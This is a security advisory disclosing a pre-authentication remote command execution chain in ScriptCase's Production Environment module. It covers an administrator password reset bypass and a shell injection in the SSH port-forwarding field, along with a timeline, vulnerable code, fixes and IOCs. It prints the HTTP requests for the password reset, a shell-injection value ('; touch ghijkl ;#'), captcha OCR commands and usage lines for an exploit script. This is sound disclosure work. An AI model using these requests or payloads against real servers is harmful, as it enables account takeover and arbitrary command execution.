ScriptCase - Pre-Authenticated Remote Command Execution
04/07/2025 - Téléchargement
Product
ScriptCase (Production Environment module)
Severity
Critical
Fixed Version(s)
N/A
Affected Version(s)
CVE Number
CVE-2025-47227, CVE-2025-47228
Authors
Description
Presentation
ScriptCase is a low-code platform that generates PHP web applications. Developers use a graphical interface to design and generate their website.
Production Environment is the name of an extension of ScriptCase that will be called prod console in the advisory for clarification purpose. It is an administrative field to manage database connections and directories.
While ScriptCase is not necessarily deployed with the website, the prod console mostly always is.
Issue(s)
Pre-authenticated remote command execution is achieved by chaining two vulnerabilities: the first is the ability to reset the administrator password of the prod console under certain conditions, and the second is a simple authenticated remote command execution in the connection features where user input is directly concatenated to a ssh system command.
Affected versions
Version 1.0.003-build-2 of the Production Environment module is affected. This version of the module is included in ScriptCase version 9.12.006 (23). Anterior versions are likely to be vulnerable as well.
Timeline
Date | Description |
---|---|
2025.02.18 | First message sent to the editor. |
2025.03.12 | Contact support via live tchat. |
2025.03.20 | Advisory report sent to the editor. |
2025.03.28 | First response from the editor. |
2025.04.04 | Editor asks to re-test the vulnerability on latest version. |
2025.04.29 | Synacktiv confirms the vulnerability still works on latest versions (see affected versions). |
2025.05.15 | Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis. |
2025.05.30 | Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis. |
2025.06.05 | Synacktiv sends the exploitation script to the editor. |
2025.07.04 | Public release |
Technical details
CVE-2025-47227 - Administrator's password reset (authentication bypass)
Description
The authentication page of the prod console is prod/lib/php/devel/iface/login.php
, which is only including one class.
<?php
include_once('../lib/php/base_ini.inc.php');
nm_load_class('page', 'PageProdLogin');
$obj_page = new nmPageProdLogin();
$obj_page->Display();
?>
In the nmPageProdLogin
class, prod/lib/php/devel/class/page/nmPageProdLogin.class.php
, a few legitimate actions are recognizable: login
, change_language
, change_pass
that are handled by the doAjax()
function.
The change password feature can be triggered with nm_action=change_pass
, that will then call the changePass()
function with the following arguments.
changePass($_POST['pass_new'],$_POST['pass_conf'],$_POST['lang'],$_POST['email'],$_POST['captcha'])
It is easily noticeable that only an email address and a new password is required, no old password.
Note: as the change_pass
action has an email
parameter, it is tempting to think there is probably an account takeover if an authenticated user can reset the password of another by providing its email address. But that is not really the case as the prod console has only one user.
But when checking the changePass()
function, the first verification done is the application checking that the user session has the variable nm_session.prod_v8.login.is_page
set, else no action is performed at all.
function changePass($str_pass_new='',$str_pass_conf='',$str_lang='',$str_email='',$str_captcha=''){
if(!$_SESSION['nm_session']['prod_v8']['login']['is_page']){
$str_response = "";
}else{
[…]
}
return json_encode($str_response);
While the name is_page
is not obviously telling what is used for, it seems to be similar to what could have been named is_authenticated
. Because the only time this variable is initialized and set to true
, is inside iniSession()
. So in theory, it is possible to change the password only when authenticated. But, in practice, if one can trigger an action that is calling iniSession()
implicitly, it would be possible to perform the password reset while being unauthenticated.
iniSession()
is called only in one place, when the class is constructed.
function __construct()
{
$this->doAjax();
$this->SetBody('nmPage');
$this->SetMargin(10);
$this->SetPage('ProdLogin');
$this->iniSession();
$this->SetPageSubtitle('');
}
But iniSession()
is done after doAjax()
, so the change_pass
action is denied before the is_page
is set to true
. What could be done to bypass that, is loading the page twice. (doAjax()
(denied) ➡️ iniSession()
(set is_page
to true
) ➡️ doAjax()
(allowed))
As seen earlier, the class is initialized in prod/lib/php/devel/iface/login.php
. So the solution is to perform a simple HTTP GET on login.php
before performing the change_pass
action with an HTTP POST on the same page while having the same PHPSESSID
.
Then the remaining steps are easy to pass: enter a valid captcha, setting a password that matches the password policy, set an email address (no need to know the administrator one).
Step 1: Set is_page
to true
with a fixed PHPSESSID value.
GET /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive
Step 2: Get a captcha challenge for the session.
GET /scriptcase/prod/lib/php/devel/lib/php/secureimage.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive
Step 3: Change the password with the prepared session.
POST /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
ajax=nm&nm_action=change_pass&email=attacker@example.org&pass_new=Synacktiv6&pass_conf=Synacktiv6&lang=en-us&captcha=CKMW
It is then possible to authenticate with the newly set password.
Impact
An attacker can arbitrarily reset the password of the administrator of the prod console, and so take it over. With this access, the attacker could retrieve databases credentials and get access to them. As the prod console is also vulnerable, the attacker could also leverage it to gain access to the server.
Recommendation
Access to the password reset feature should be given only to authenticated users (change the condition in the changePass
function). Also, it should be based only on the session cookie (the changePass
function should not take an email
argument from the user but extract it from the session).
While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment extension completely (e.g. on the reverse proxy virtual host). Blocking /prod/lib/php/devel/iface/login.php
and /prod/lib/php/nm_ini_manager2.php
should be enough to prevent any unwanted connection as well as the exploitation of the password reset vulnerability.
CVE-2025-47228 - Shell injection (remote command execution)
Description
Once authenticated, the prod console allows editing and creating database connections. A feature allows configuring SSH local port forwarding, so it is possible to connect to remote databases that are not exposed on a public network interface.
A POST parameter ($_POST['ajax']
) is received in line 1982 of the file prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php
in the method nmPageAdminSysAllConectionsCreateWizard::Ajax()
. Then, if the action list_db
is performed and the option use_ssh
is passed, SSH options are parsed.
function Ajax()
{
if (isset($_POST['ajax']) && $_POST['ajax'] == 'S')
{
if (isset($_POST['list_db']) && $_POST['list_db'] == 'S')
{
[…]
if(isset($_POST['use_ssh']))
{
$arr_ssh = array('use_ssh', 'ssh_server', 'ssh_user', 'ssh_port', 'ssh_privatecert', 'ssh_localportforwarding', 'ssh_localserver', 'ssh_localport');
foreach($arr_ssh as $_input)
{
$v_arr_db[ $_input ] = $this->unProtectAjaxChar((isset($_POST[ $_input ])?$_POST[ $_input ]:""));
}
}
[…]
}
[…]
}
[…]
}
Note: the unProtectAjaxChar()
function is not a security feature.
function unProtectAjaxChar($str_field)
{
$str_field = str_replace("__HASH__", "#", $str_field);
$str_field = str_replace("__PLUS__", "+", $str_field);
$str_field = str_replace("__MINUS__", "-", $str_field);
$str_field = str_replace("__E__", "&", $str_field);
return $str_field;
}
The user-supplied data is concatenated into an SSH command from line 1710 to 1719 of the file prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php
in the function GetListDatabaseNameMySql()
.
The user-supplied data is then used unsanitized in the sensitive operation shell_exec()
in line 1721.
$str_comando = "ssh -fNg -L $localPort:$server:$port $sshUser@$sshHost";
if(!empty($sshPort))
{
$str_comando .= " -p " . $sshPort;
}
if(!empty($cert))
{
$cert = str_replace("\\", "/", $cert);
$str_comando .= " -i \"$cert\"";
}
shell_exec($str_comando);
The page prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php
instantiates the nmPageAdminSysAllConectionsCreateWizard
class.
Rather than crafting the request manually, it is possible to remove the display: none
style applied on the SSH tab (data-tab="tr_ssh"
), fill the form and hit the Test Connection
button.
When injecting the command ; touch ghijkl ;#
in the ssh_localportforwarding
field, the HTTP request is the following:
POST /scriptcase/prod/lib/php/devel/iface/admin_sys_allconections_test.php HTTP/1.1
Host: 10.58.11.213
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=synacktiv001
[…]
hid_create_connect=S&dbms=mysql&conn=conn_mysql&dbms=pdo_mysql&host=127.0.0.1%3A3306&server=127.0.0.1&port=3306&user=utilisateur&pass=mdp&show_table=Y&show_view=Y&show_system=Y&show_procedure=Y&decimal=.&use_persistent=N&use_schema=N&retrieve_schema=Y&retrieve_schema=Y&use_ssh=Y&ssh_server=127.0.0.1&ssh_user=root&ssh_port=22&ssh_localportforwarding=%3B+touch+ghijkl+%3B%23&ssh_localserver=127.0.0.1&ssh_localport=3306&form_create=a80579edad3f0333d9c2965b4672a05e&retornar=Back&concluir=Save&confirmar=Back&voltar=Confirm&step=sgdb2&nextstep=dados_rep
It is not necessary to enter valid data as it will be discarded by the injected comment.
The file ghijkl
is successfully created on the server.
$ find ./ -name ghijkl
./wwwroot/scriptcase/prod/lib/php/devel/iface/ghijkl
It is possible to perform this command injection request with the cookie from earlier without connecting, as this session is already in the right state.
Impact
An authenticated user on prod console can execute arbitrary system commands as the web server (www-data
).
Recommendation
Several options are possible. The least safe one would be to shell escape the user input before injecting it into the command. A better approach would be to stop generating a system command with shell_exec
, but to rather use a secure library like phpseclib to create the connection.
While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment extension completely (e.g. on the reverse proxy virtual host). In addition to the login routes, blocking /prod/lib/php/devel/iface/admin_sys_allconections_test.php
and /prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php
should be enough to prevent remote command execution.
Captcha solving automation
Description
Captcha
The password reset form is protected by a captcha. However, the CAPTCHA images generated by the web application are easy to analyse using Optical Character Recognition (OCR). Thus, allowing to automate the only manual step of the exploit.
The captcha always consists of 4 capital letters in white (exactly RGB(255,255,255)
/ #ffffff
) or black (exactly RGB(0,0,0)
/ #000000
) colour and a noisy background of random colours, but never white or black.


It eases the preparation of the image for OCR detection: keep only the letters, remove the background, enlarge the image and harmonize the colours.
Basic, non-specialized character recognition tools can then extract the characters from the captcha with variable reliability.
$ tesseract cleaned.png stdout --oem 1 -c tessedit_char_whitelist='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' -c load_system_dawg=false -c load_freq_dawg=false --psm 8 --dpi 300
NKUN
$ captcha ocrad --charset=ascii --filter=letters_only -l cleaned.png
NKUW
$ captcha gocr -i cleaned.png -c 'A-Z'
NKU_
The use of an artificial intelligence model specialized in the recognition of non-text characters would provide almost 100% reliability. The training cost would be worth it for cybercriminals that want to launch large scale attacks, but for a one-use demonstration exploit script, classical OCR and manual fallback is enough.
Impact
For mass exploitation, a cybercriminal can automate the captcha solving that is supposed to prevent automatic submission.
Exploitation script
Description
An exploitation script was written to handle several scenarios:
- Perform the pre-authentication remote command execution by chaining the two vulnerabilities (password reset and authenticated command execution)
- Only perform the password reset
- Only perform authenticated command execution
- Detect the deployment path
Usage:
Examples:
Pre-Auth RCE (password reset + RCE)
python exploit.py -u http://example.org/scriptcase -c "command"
Password reset only (no auth)
python exploit.py -u http://example.org/scriptcase
RCE only (need account)
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
Detect deployment path
python exploit.py -u http://example.org/ -d
Options:
-h, --help show this help message and exit
-u BASE_URL, --base-url=BASE_URL
-c COMMAND, --command=COMMAND
-p PASSWORD, --password=PASSWORD
-d, --detect
For the password reset, captcha solving is required. To try to automate the captcha resolution, the function process_image()
will perform OCR with pytesseract
and prepare the image by cleaning it before launching the OCR analysis. As the OCR is not reliable, in case of failure it will fall back to manual solving by displaying the captcha and prompting the user for a solution.
For the remote command execution, it is not necessary to register a new connection (by calling admin_sys_allconections_create_wizard.php
). Instead, it is possible to only test the connection (admin_sys_allconections_test.php
) without saving it to be stealthier. The command is always executed even if the connection fails and the server answers an error.
In real life, the root of the web server hosts the application while the prod console is hosted on a sub-folder. Most of the time, the ScriptCase interface, which is used only for development, will not be deployed and deployed on another machine. It is possible to automate the deployment path detection to locate the prod console login page by analysing the JavaScript on the home page. The default sub-folder /scriptcase/
seems to be rarely used in real life. Instead, /_lib/
seems to be often used, but sometimes it can also be nested into another sub-folder level. To avoid guessing or fuzzing the deployment path, it is possible to obtain it deterministically by scraping the page and extracting the path from JavaScript. Indeed, as the website is made with ScriptCase, numerous scripts and stylesheets are loaded from the ScriptCase folder. One that is easy to extract and unique is: sc_pathToTB
variable (example below).
<SCRIPT type="text/javascript">
var sc_pathToTB = '/_lib/prod/third/jquery_plugin/thickbox/';
var sc_tbLangClose = "Fermer";
var sc_tbLangEsc = "ou touche Echap";
var sc_userSweetAlertDisplayed = false;
</SCRIPT>
Once the deployment path (e.g. /_lib
) is known and confirmed with prod console base folder (/_lib/prod/
) then the login page of the prod console can be computed (/_lib/prod/lib/php/devel/iface/login.php
).
In the scenario where the two vulnerabilities are chained, there is no need to authenticate with the new password after the password reset. The password reset sets the current session as authenticated, so the command injection can be performed with the same cookie.
Finally, one can notice that the application is vulnerable to session fixation: the session cookie is not renewed after authentication, the pre-authentication cookie is kept. So it is possible to generate a random PHPSESSID to use for the password reset session preparation or for the authentication in RCE only scenarios, without having to parse the server response for a new cookie.
The full exploitation script (Python) can be found on the associated GitHub repository.
Impact
System remote command execution without any prerequisites.
IOC
The application is not saving any log at runtime. The only log events will be the access_log
and error_log
of the embedded Apache httpd web server.
The URL paths that are used by the exploitation script are:
{url_base}/prod/lib/php/devel/iface/login.php
to set the session and performing the password reset{url_base}/prod/lib/php/devel/lib/php/secureimage.php
to obtain a captcha challenge{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php
for the shell injection{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php
to get prerequisites for the shell injection{url_base}/prod/lib/php/nm_ini_manager2.php
to log in for the RCE-only exploit